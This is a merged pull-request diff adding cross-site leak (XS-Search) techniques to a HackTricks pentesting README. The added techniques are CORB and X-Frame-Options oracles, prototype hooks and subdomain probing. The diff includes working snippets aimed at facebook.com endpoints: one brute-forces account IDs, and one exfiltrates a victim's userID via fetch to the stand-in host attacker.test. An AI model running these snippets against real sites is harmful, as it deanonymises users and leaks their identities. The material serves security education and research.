Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
57 changes: 57 additions & 0 deletions src/pentesting-web/xs-search/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -87,6 +87,42 @@ There is also a script-less version of this attack:

In this case if `example.com/404` is not found `attacker.com/?error` will be loaded.

### Content-Type/CORB script load oracle

- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: Header / Content-Type via onload vs onerror (CORB)
- **Summary:** If an endpoint returns HTML on match vs JSON on mismatch, load it with `<script src>`. HTML triggers `onload`; JSON is CORB-blocked and fires `onerror`, giving a Boolean oracle to brute-force identifiers like `__user` within a known scope.
- **Notes:** Works cross-origin without reading bodies; handy to enumerate the active account when one tenant ID is fixed.

### postMessage vs X-Frame-Options deny oracle

- **Inclusion Methods**: Frames
- **Detectable Difference**: Header (XFO) + postMessage presence/absence
- **Summary:** Some widgets postMessage to their parent once loaded. If the request is framed with a wrong identifier, the server may respond with `X-Frame-Options: deny`, preventing rendering and therefore no message is emitted. By setting the iframe `src` with the candidate ID, waiting for a `message` event (success) and treating timeout/no message as failure, the active account can be brute-forced.
- **Minimal snippet:**
```html
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>
```
- **Related:**
{{#ref}}
../postmessage-vulnerabilities/README.md
{{#endref}}

{{#ref}}
../iframe-traps.md
{{#endref}}

for more message/iframe pitfalls.

### Onload Timing

- **Inclusion Methods**: HTML Elements
Expand Down Expand Up @@ -818,6 +854,20 @@ Use _**fetch**_ and _**setTimeout**_ with an **AbortController** to both detect
- **Summary:** It's possible to **overwrite built-in functions** and read their arguments which even from **cross-origin script** (which cannot be read directly), this might **leak valuable information**.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

#### Prototype hooks to exfiltrate module-scoped data

Pre-define `Function.prototype.default` and `Function.prototype.__esModule = 1` before loading a module so its `default` export calls your hook (e.g., receives `{userID: ...}`), letting you read module-scoped values without timing or brute force.

```html
<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>
```

The request itself also becomes a login-state oracle if the script only loads for authenticated users.

### Service Workers <a href="#service-workers" id="service-workers"></a>

- **Inclusion Methods**: Pop-ups
Expand Down Expand Up @@ -849,6 +899,12 @@ Upon arrival of the request initiated in the preceding step, the **service worke
- **Summary:** se [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) to measure the time it takes to perform a request using `window.open`. Other clocks could be used.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

### Subdomain probing for identity/login state

- **Inclusion Methods**: HTML Elements (script), Frames
- **Detectable Difference**: DNS/HTTP load success, CORB/header changes
- **Summary:** If identifiers live in subdomain labels (e.g., `www.<username>.sb.facebook.com`), request resources on candidate hosts and treat `onload` vs `onerror`/timeouts as a Boolean. Combine with login-only scripts (e.g., `/signals/iwl.js`) to brute-force usernames and verify auth to related properties.
- **Note:** Signals can be amplified with different inclusion types (`script`, `iframe`, `object`) to detect `X-Frame-Options`, `CORB`, or redirect differences per candidate.

## With HTML or Re Injection

Expand Down Expand Up @@ -937,6 +993,7 @@ There are mitigations recommended in [https://xsinator.com/paper.pdf](https://xs
- [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
- [https://xsinator.com/](https://xsinator.com/)
- [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
- [Cross-Site Leaks (XS-Leaks) across Meta platforms](https://ysamm.com/uncategorized/2026/01/16/cross-site-leaks.html)

{{#include ../../banners/hacktricks-training.md}}

Expand Down